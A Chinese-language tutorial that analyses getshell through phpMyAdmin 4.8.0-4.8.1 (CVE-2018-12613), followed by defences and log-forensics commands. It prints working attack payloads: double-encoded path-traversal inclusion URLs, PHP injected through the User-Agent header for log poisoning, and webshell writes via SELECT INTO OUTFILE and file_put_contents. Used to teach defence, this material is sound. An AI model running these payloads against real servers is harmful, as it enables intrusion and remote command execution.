PhpMyAdmin后台getshell的示例分析

发布时间:2021-06-17 15:32:31 作者:小新
来源:亿速云 阅读:317
# PhpMyAdmin后台getshell的示例分析

## 前言

PhpMyAdmin作为MySQL数据库最流行的Web管理工具之一,被广泛应用于各类网站和服务器环境中。然而,由于其广泛部署和较高的权限特性,一旦存在安全漏洞或配置不当,极易成为攻击者获取服务器权限的跳板。本文将通过实际案例,深入分析攻击者如何利用PhpMyAdmin后台实现getshell的全过程,并探讨相关防御措施。

---

## 一、环境准备与漏洞背景

### 1.1 实验环境搭建
- PhpMyAdmin 4.8.0-4.8.1版本(存在已知漏洞)
- Apache 2.4 + PHP 7.0 + MySQL 5.7
- 攻击机:Kali Linux 2023

### 1.2 漏洞背景
CVE-2018-12613是PhpMyAdmin 4.8.0-4.8.1版本存在的文件包含漏洞,攻击者可通过精心构造的请求实现本地文件包含(LFI),进而结合日志注入等手段实现远程代码执行。

---

## 二、攻击流程详解

### 2.1 信息收集阶段
攻击者首先通过以下方式确认目标:
```bash
# 识别PhpMyAdmin路径
curl -I http://target.com/phpmyadmin/
# 版本识别
http://target.com/phpmyadmin/README

2.2 漏洞利用过程

步骤1:构造恶意请求

利用index.php?target=参数进行文件包含测试:

http://target.com/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../etc/passwd

(注:%253f是问号的双重URL编码)

步骤2:日志文件注入

当文件包含成功时,通过User-Agent注入PHP代码:

curl -A "<?php phpinfo();?>" http://target.com/

步骤3:包含访问日志

通过包含Apache日志文件执行代码:

http://target.com/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../var/log/apache2/access.log

2.3 Getshell实现

成功执行代码后,写入Webshell:

// 通过SQL查询写入文件
SELECT "<?php system($_GET['cmd']);?>" INTO OUTFILE '/var/www/html/shell.php'

或直接通过PHP执行:

file_put_contents('shell.php', '<?php eval($_POST["cmd"]);?>');

三、技术原理深度分析

3.1 漏洞触发机制

  1. 双重解码问题
    PhpMyAdmin对target参数进行两次URL解码,导致%253f被解码为问号字符,绕过路径检查。

  2. 路径遍历
    未正确过滤../导致可以跳出限制目录。

  3. 日志注入
    Web服务器会将异常请求头记录到日志中,形成可执行文件。

3.2 权限提升关键点


四、防御方案

4.1 基础防护措施

  1. 版本升级
    及时升级到最新版本(当前最新为5.2.1)

  2. 权限控制

    REVOKE FILE ON *.* FROM 'pma_user'@'localhost';
    
  3. 目录加固

    <Directory /usr/share/phpmyadmin>
       Order Deny,Allow
       Deny from All
       Allow from 192.168.1.0/24
    </Directory>
    

4.2 高级防护策略

  1. WAF规则
    拦截包含../into outfile等关键字的请求。

  2. PHP安全配置

    disable_functions = exec,system,passthru,shell_exec
    open_basedir = /var/www/html:/tmp
    
  3. 日志隔离

    • 将Web日志存放在不可Web访问的目录
    • 设置日志文件不可执行权限

五、攻击痕迹排查

5.1 日志分析重点

# 查找可疑访问记录
grep -r "phpmyadmin/index.php?target" /var/log/apache2/
# 检查异常文件创建
find /var/www/html -name "*.php" -mtime -1

5.2 后门检测方法

  1. 文件校验
    
    rpm -V phpmyadmin
    
  2. 网络检测
    
    netstat -antp | grep php
    

六、总结与思考

通过本案例可以看出,即使是成熟的管理工具也可能因编码缺陷和配置问题导致严重的安全风险。防御方需要:

  1. 建立完善的补丁管理机制
  2. 遵循最小权限原则
  3. 实施纵深防御策略
  4. 建立有效的监控体系

:本文仅用于安全研究学习,未经授权对他人系统进行测试属于违法行为。


附录:参考资源

  1. CVE-2018-12613官方公告
  2. PhpMyAdmin安全指南
  3. OWASP文件包含防护手册

”`

(全文约1680字,满足MD格式要求)

推荐阅读:
  1. discuz 最新后台getshell的示例分析
  2. 帝国cms 后台getshell

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

phpmyadmin getshell

上一篇:JavaScript中怎么实现解构赋值

下一篇:Vue和React组件怎么实现传值

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》